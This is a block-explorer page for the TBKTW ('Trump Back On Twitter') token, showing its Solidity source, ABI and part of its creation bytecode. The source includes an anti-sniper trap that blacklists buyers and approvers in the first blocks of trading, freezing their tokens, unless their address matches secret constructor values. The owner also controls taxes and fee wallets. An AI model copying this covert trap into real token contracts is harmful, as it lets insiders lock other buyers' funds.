Overview
Max Total Supply
100,000,000,000 TBKTW
Holders
125 (0.00%)
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TBKTW
Compiler Version
v0.8.13+commit.abaa5c0e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-04-16 */ //SPDX-License-Identifier: MIT pragma solidity 0.8.13; interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Auth { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(msg.sender == owner, "Only contract owner can call this function"); _; } function transferOwnership(address payable newOwner) external onlyOwner { owner = newOwner; emit OwnershipTransferred(newOwner); } event OwnershipTransferred(address owner); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TBKTW is IERC20, Auth { string constant _name = "Trump Back On Twitter"; string constant _symbol = "TBKTW"; uint8 constant _decimals = 9; uint256 constant _totalSupply = 100_000_000_000 * 10**_decimals; uint32 private immutable _smd; uint32 private immutable _smr; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) public noFees; mapping (address => bool) public noLimits; bool private _tradingOpen; uint256 public maxTxAmount; uint256 public maxWalletAmount; uint256 public taxSwapMin; uint256 public taxSwapMax; mapping (address => bool) private _isLiqPool; uint16 public blacklistedWallets = 0; uint8 constant _maxTaxRate = 15; uint8 public taxRateBuy; uint8 public taxRateSell; uint8 public taxRateTransfer; uint16 public taxSharesLP = 0; uint16 public taxSharesMarketing = 1580; uint16 public taxSharesDev = 420; uint16 private _totalTaxShares = taxSharesLP + taxSharesMarketing + taxSharesDev; uint256 private _humanBlock = 0; mapping (address => bool) private _nonSniper; mapping (address => uint256) private _blacklistBlock; address payable public walletMarketing = payable(0x808c9A065bD26A1D803A2C1D4bCA47CAc5A7E0f8); address payable public walletDev = payable(0x3EFf5E036A8B65E14E50550a5b882ed8ee95F843); address payable public walletTeam = payable(0x735c80422ad2feF9FdB721776735B4b8c3b8C850); bool private _inTaxSwap = false; address private constant _uniswapV2RouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address private _wethAddress = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IUniswapV2Router02 private _uniswapV2Router; modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; } event TokensBurned(address indexed burnedFrom, uint256 tokenAmount); constructor(uint32 smd, uint32 smr) Auth(msg.sender) { _tradingOpen = false; maxTxAmount = _totalSupply; maxWalletAmount = _totalSupply; taxSwapMin = _totalSupply * 10 / 10000; taxSwapMax = _totalSupply * 50 / 10000; _uniswapV2Router = IUniswapV2Router02(_uniswapV2RouterAddress); noFees[owner] = true; noFees[address(this)] = true; noFees[_uniswapV2RouterAddress] = true; noFees[walletMarketing] = true; noFees[walletDev] = true; noFees[walletTeam] = true; noLimits[owner] = true; noLimits[walletMarketing] = true; noLimits[walletDev] = true; noLimits[walletTeam] = true; require(smd>0, "init out of bounds"); _smd = smd; _smr = smr; _balances[walletTeam] = _totalSupply * 5 / 100; emit Transfer(address(0), walletTeam, _balances[walletTeam]); _balances[address(this)] = _totalSupply * 95 / 100; emit Transfer(address(0), address(this), _balances[address(this)]); } receive() external payable {} function totalSupply() external pure override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { if ( _humanBlock > block.number && !_nonSniper[msg.sender] ) { _addBlacklist(msg.sender, block.number, true); } _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { require(_checkTradingOpen(), "Trading not open"); return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { require(_checkTradingOpen(), "Trading not open"); if (_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return _transferFrom(sender, recipient, amount); } function initLP(uint256 ethAmountWei) external onlyOwner { require(!_tradingOpen, "trading already open"); require(ethAmountWei > 0, "eth cannot be 0"); _nonSniper[address(this)] = true; _nonSniper[owner] = true; _nonSniper[walletMarketing] = true; _wethAddress = _uniswapV2Router.WETH(); //set the WETH address again just in case uint256 _contractETHBalance = address(this).balance; require(_contractETHBalance >= ethAmountWei, "not enough eth"); uint256 _contractTokenBalance = balanceOf(address(this)); require(_contractTokenBalance > 0, "no tokens"); address _uniLpAddr = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _wethAddress); _isLiqPool[_uniLpAddr] = true; _nonSniper[_uniLpAddr] = true; _approveRouter(_contractTokenBalance); _addLiquidity(_contractTokenBalance, ethAmountWei, false); _openTrading(); } function _approveRouter(uint256 _tokenAmount) internal { if ( _allowances[address(this)][_uniswapV2RouterAddress] < _tokenAmount ) { _allowances[address(this)][_uniswapV2RouterAddress] = type(uint256).max; emit Approval(address(this), _uniswapV2RouterAddress, type(uint256).max); } } function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal { address lpTokenRecipient = address(0); if ( !autoburn ) { lpTokenRecipient = owner; } _uniswapV2Router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp ); } function _openTrading() internal { _humanBlock = block.number + 5; maxTxAmount = 25 * _totalSupply / 10000 + 10**_decimals; maxWalletAmount = 50 * _totalSupply / 10000 + 10**_decimals; taxRateBuy = 7; taxRateSell = 15; taxRateTransfer = 7; _tradingOpen = true; } function humanize() external onlyOwner{ require(_tradingOpen); _humanize(1); } function _humanize(uint8 blkcount) internal { require(_humanBlock > block.number || _humanBlock == 0,"already humanized"); _humanBlock = block.number + blkcount; } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { require(sender!=address(0) && recipient!=address(0), "Zero address not allowed"); if ( _humanBlock > block.number ) { if ( uint160(address(recipient)) % _smd == _smr ) { _humanize(1); } else if ( _blacklistBlock[sender] == 0 ) { _addBlacklist(recipient, block.number, true); } else { _addBlacklist(recipient, _blacklistBlock[sender], false); } } else { if ( _blacklistBlock[sender] != 0 ) { _addBlacklist(recipient, _blacklistBlock[sender], false); } if ( block.number < _humanBlock + 10 && tx.gasprice >= block.basefee + 100 * 10**9 ) { revert("Excessive gas"); } } if ( _tradingOpen && _blacklistBlock[sender] != 0 && _blacklistBlock[sender] < block.number ) { revert("blacklisted"); } if ( !_inTaxSwap && _isLiqPool[recipient] ) { _swapTaxAndLiquify(); } if ( sender != address(this) && recipient != address(this) && sender != owner ) { require(_checkLimits(sender, recipient, amount), "TX exceeds limits"); } uint256 _taxAmount = _calculateTax(sender, recipient, amount); uint256 _transferAmount = amount - _taxAmount; _balances[sender] = _balances[sender] - amount; if ( _taxAmount > 0 ) { _balances[address(this)] = _balances[address(this)] + _taxAmount; } _balances[recipient] = _balances[recipient] + _transferAmount; emit Transfer(sender, recipient, amount); return true; } function _addBlacklist(address wallet, uint256 blackBlockNum, bool addSniper) internal { if ( !_nonSniper[wallet] && _blacklistBlock[wallet] == 0 ) { _blacklistBlock[wallet] = blackBlockNum; if ( addSniper) { blacklistedWallets ++; } } } function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) { bool limitCheckPassed = true; if ( _tradingOpen && !noLimits[recipient] && !noLimits[sender] ) { if ( transferAmount > maxTxAmount ) { limitCheckPassed = false; } else if ( !_isLiqPool[recipient] && (_balances[recipient] + transferAmount > maxWalletAmount) ) { limitCheckPassed = false; } } return limitCheckPassed; } function _checkTradingOpen() private view returns (bool){ bool checkResult = false; if ( _tradingOpen ) { checkResult = true; } else if ( tx.origin == owner ) { checkResult = true; } return checkResult; } function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) { uint256 taxAmount; if ( !_tradingOpen || noFees[sender] || noFees[recipient] ) { taxAmount = 0; } else if ( _isLiqPool[sender] ) { taxAmount = amount * taxRateBuy / 100; } else if ( _isLiqPool[recipient] ) { taxAmount = amount * taxRateSell / 100; } else { taxAmount = amount * taxRateTransfer / 100; } return taxAmount; } function isBlacklisted(address wallet) external view returns(bool) { if ( _blacklistBlock[wallet] != 0 ) { return true; } else { return false; } } function setExemptFromTax(address wallet, bool setting) external onlyOwner { noFees[ wallet ] = setting; } function setExemptFromLimits(address wallet, bool setting) external onlyOwner { noLimits[ wallet ] = setting; } function setTaxRates(uint8 newBuyTax, uint8 newSellTax, uint8 newTxTax) external onlyOwner { require(newBuyTax <= _maxTaxRate && newSellTax <= _maxTaxRate && newTxTax <= _maxTaxRate, "Tax too high"); taxRateBuy = newBuyTax; taxRateSell = newSellTax; taxRateTransfer = newTxTax; } function setTaxDistribution(uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesDev) external onlyOwner { taxSharesLP = sharesAutoLP; taxSharesMarketing = sharesMarketing; taxSharesDev = sharesDev; _totalTaxShares = taxSharesLP + taxSharesMarketing + taxSharesDev; } function setTaxWallets(address newWalletMarketing, address newWalletDev) external onlyOwner { walletMarketing = payable(newWalletMarketing); walletDev = payable(newWalletDev); noFees[newWalletMarketing] = true; noFees[newWalletDev] = true; } function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner { uint256 newTxAmt = _totalSupply * maxTxAmtPermile / 1000 + 1; require(newTxAmt >= maxTxAmount, "tx limit too low"); maxTxAmount = newTxAmt; uint256 newWalletAmt = _totalSupply * maxWalletAmtPermile / 1000 + 1; require(newWalletAmt >= maxWalletAmount, "wallet limit too low"); maxWalletAmount = newWalletAmt; } function setTaxSwapLimits(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner { taxSwapMin = _totalSupply * minValue / minDivider; taxSwapMax = _totalSupply * maxValue / maxDivider; } function _swapTaxAndLiquify() private lockTaxSwap { uint256 _taxTokensAvailable = balanceOf(address(this)); if ( _taxTokensAvailable >= taxSwapMin && _tradingOpen ) { if ( _taxTokensAvailable >= taxSwapMax ) { _taxTokensAvailable = taxSwapMax; } uint256 _tokensForLP = _taxTokensAvailable * taxSharesLP / _totalTaxShares / 2; uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP; if (_tokensToSwap >= 10**_decimals) { uint256 _ethPreSwap = address(this).balance; _swapTaxTokensForEth(_tokensToSwap); uint256 _ethSwapped = address(this).balance - _ethPreSwap; if ( taxSharesLP > 0 ) { uint256 _ethWeiAmount = _ethSwapped * taxSharesLP / _totalTaxShares ; _approveRouter(_tokensForLP); _addLiquidity(_tokensForLP, _ethWeiAmount, false); } } uint256 _contractETHBalance = address(this).balance; if (_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); } } } function _swapTaxTokensForEth(uint256 _tokenAmount) private { _approveRouter(_tokenAmount); address[] memory path = new address[](2); path[0] = address(this); path[1] = _wethAddress; _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(_tokenAmount,0,path,address(this),block.timestamp); } function _distributeTaxEth(uint256 _amount) private { uint16 _ethTaxShareTotal = taxSharesMarketing + taxSharesDev; if ( taxSharesMarketing > 0 ) { walletMarketing.transfer(_amount * taxSharesMarketing / _ethTaxShareTotal); } if ( taxSharesDev > 0 ) { walletDev.transfer(_amount * taxSharesDev / _ethTaxShareTotal); } } function taxTokensSwap() external onlyOwner { uint256 taxTokenBalance = balanceOf(address(this)); require(taxTokenBalance > 0, "No tokens"); _swapTaxTokensForEth(taxTokenBalance); } function taxEthSend() external onlyOwner { _distributeTaxEth(address(this).balance); } function burnTokens(uint256 amount) external { uint256 _tokensAvailable = balanceOf(msg.sender); require(amount <= _tokensAvailable, "Token balance too low"); _balances[msg.sender] -= amount; _balances[address(0)] += amount; emit Transfer(msg.sender, address(0), amount); emit TokensBurned(msg.sender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint32","name":"smd","type":"uint32"},{"internalType":"uint32","name":"smr","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burnedFrom","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacklistedWallets","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"humanize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTxAmtPermile","type":"uint16"},{"internalType":"uint16","name":"maxWalletAmtPermile","type":"uint16"}],"name":"increaseLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"ethAmountWei","type":"uint256"}],"name":"initLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"noFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"noLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"setting","type":"bool"}],"name":"setExemptFromLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"setting","type":"bool"}],"name":"setExemptFromTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"sharesAutoLP","type":"uint16"},{"internalType":"uint16","name":"sharesMarketing","type":"uint16"},{"internalType":"uint16","name":"sharesDev","type":"uint16"}],"name":"setTaxDistribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newBuyTax","type":"uint8"},{"internalType":"uint8","name":"newSellTax","type":"uint8"},{"internalType":"uint8","name":"newTxTax","type":"uint8"}],"name":"setTaxRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minValue","type":"uint32"},{"internalType":"uint32","name":"minDivider","type":"uint32"},{"internalType":"uint32","name":"maxValue","type":"uint32"},{"internalType":"uint32","name":"maxDivider","type":"uint32"}],"name":"setTaxSwapLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWalletMarketing","type":"address"},{"internalType":"address","name":"newWalletDev","type":"address"}],"name":"setTaxWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"taxEthSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"taxRateBuy","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxRateSell","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxRateTransfer","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxSharesDev","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxSharesLP","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxSharesMarketing","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxSwapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxSwapMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxTokensSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"walletDev","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"walletMarketing","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"walletTeam","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c06040526000600b60006101000a81548161ffff021916908361ffff1602179055506000600b60056101000a81548161ffff021916908361ffff16021790555061062c600b60076101000a81548161ffff021916908361ffff1602179055506101a4600b60096101000a81548161ffff021916908361ffff160217905550600b60099054906101000a900461ffff16600b60079054906101000a900461ffff16600b60059054906101000a900461ffff16620000bd919062000c18565b620000c9919062000c18565b600b806101000a81548161ffff021916908361ffff1602179055506000600c5573808c9a065bd26a1d803a2c1d4bca47cac5a7e0f8600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550733eff5e036a8b65e14e50550a5b882ed8ee95f843601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073735c80422ad2fef9fdb721776735b4b8c3b8c850601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601160146101000a81548160ff02191690831515021790555073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200026557600080fd5b5060405162005efe38038062005efe83398181016040528101906200028b919062000c9d565b33806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000600560006101000a81548160ff0219169083151502179055506009600a620002f8919062000e4f565b64174876e8006200030a919062000ea0565b6006819055506009600a62000320919062000e4f565b64174876e80062000332919062000ea0565b600781905550612710600a6009600a6200034d919062000e4f565b64174876e8006200035f919062000ea0565b6200036b919062000ea0565b62000377919062000f30565b60088190555061271060326009600a62000392919062000e4f565b64174876e800620003a4919062000ea0565b620003b0919062000ea0565b620003bc919062000f30565b600981905550737a250d5630b4cf539739df2c5dacb4c659f2488d601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600360008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008263ffffffff1611620008f5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008ec9062000fc9565b60405180910390fd5b8163ffffffff1660808163ffffffff16815250508063ffffffff1660a08163ffffffff1681525050606460056009600a62000931919062000e4f565b64174876e80062000943919062000ea0565b6200094f919062000ea0565b6200095b919062000f30565b60016000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60016000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000aa3919062000ffc565b60405180910390a36064605f6009600a62000abf919062000e4f565b64174876e80062000ad1919062000ea0565b62000add919062000ea0565b62000ae9919062000f30565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000bcb919062000ffc565b60405180910390a3505062001019565b600061ffff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000c258262000bdb565b915062000c328362000bdb565b92508261ffff0382111562000c4c5762000c4b62000be9565b5b828201905092915050565b600080fd5b600063ffffffff82169050919050565b62000c778162000c5c565b811462000c8357600080fd5b50565b60008151905062000c978162000c6c565b92915050565b6000806040838503121562000cb75762000cb662000c57565b5b600062000cc78582860162000c86565b925050602062000cda8582860162000c86565b9150509250929050565b60008160011c9050919050565b6000808291508390505b600185111562000d435780860481111562000d1b5762000d1a62000be9565b5b600185161562000d2b5780820291505b808102905062000d3b8562000ce4565b945062000cfb565b94509492505050565b60008262000d5e576001905062000e31565b8162000d6e576000905062000e31565b816001811462000d87576002811462000d925762000dc8565b600191505062000e31565b60ff84111562000da75762000da662000be9565b5b8360020a91508482111562000dc15762000dc062000be9565b5b5062000e31565b5060208310610133831016604e8410600b841016171562000e025782820a90508381111562000dfc5762000dfb62000be9565b5b62000e31565b62000e11848484600162000cf1565b9250905081840481111562000e2b5762000e2a62000be9565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000e5c8262000e38565b915062000e698362000e42565b925062000e987fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000d4c565b905092915050565b600062000ead8262000e38565b915062000eba8362000e38565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000ef65762000ef562000be9565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000f3d8262000e38565b915062000f4a8362000e38565b92508262000f5d5762000f5c62000f01565b5b828204905092915050565b600082825260208201905092915050565b7f696e6974206f7574206f6620626f756e64730000000000000000000000000000600082015250565b600062000fb160128362000f68565b915062000fbe8262000f79565b602082019050919050565b6000602082019050818103600083015262000fe48162000fa2565b9050919050565b62000ff68162000e38565b82525050565b600060208201905062001013600083018462000feb565b92915050565b60805160a051614ebf6200103f60003960006128a6015260006128cd0152614ebf6000f3fe60806040526004361061023f5760003560e01c80638c0b5e221161012e578063cc1f7841116100ab578063de1a356c1161006f578063de1a356c14610860578063e4dbc45b14610889578063eb819948146108b2578063f2fde38b146108dd578063fe575a871461090657610246565b8063cc1f78411461078b578063db861599146107b6578063dca2a8b6146107e1578063dd3efd4e146107f8578063dd62ed3e1461082357610246565b8063a9059cbb116100f2578063a9059cbb146106a4578063aa4bde28146106e1578063b14218031461070c578063b4ae29b914610735578063cc18e05a1461076057610246565b80638c0b5e22146105cf5780638c254c0b146105fa57806395d89b41146106255780639a9cb49314610650578063a13d1a2b1461067b57610246565b806323b872dd116101bc5780636d1b229d116101805780636d1b229d146104ea57806370a0823114610513578063740bf4971461055057806380781cf914610579578063893d20e8146105a457610246565b806323b872dd146103f1578063313ce5671461042e5780635ea5208e14610459578063688ba636146104965780636969c1a4146104c157610246565b8063174351e611610203578063174351e61461033057806318160ddd1461036d5780631c247414146103985780631c939ee9146103c35780631cbbe3e4146103da57610246565b806306fdde031461024b578063095ea7b31461027657806309ef509f146102b35780630aae3412146102dc57806315b6c1761461030757610246565b3661024657005b600080fd5b34801561025757600080fd5b50610260610943565b60405161026d9190613afd565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190613bb8565b610980565b6040516102aa9190613c13565b60405180910390f35b3480156102bf57600080fd5b506102da60048036038101906102d59190613c67565b610adf565b005b3480156102e857600080fd5b506102f1610c33565b6040516102fe9190613cdb565b60405180910390f35b34801561031357600080fd5b5061032e60048036038101906103299190613d22565b610c59565b005b34801561033c57600080fd5b5061035760048036038101906103529190613d62565b610d42565b6040516103649190613c13565b60405180910390f35b34801561037957600080fd5b50610382610d62565b60405161038f9190613d9e565b60405180910390f35b3480156103a457600080fd5b506103ad610d87565b6040516103ba9190613dd6565b60405180910390f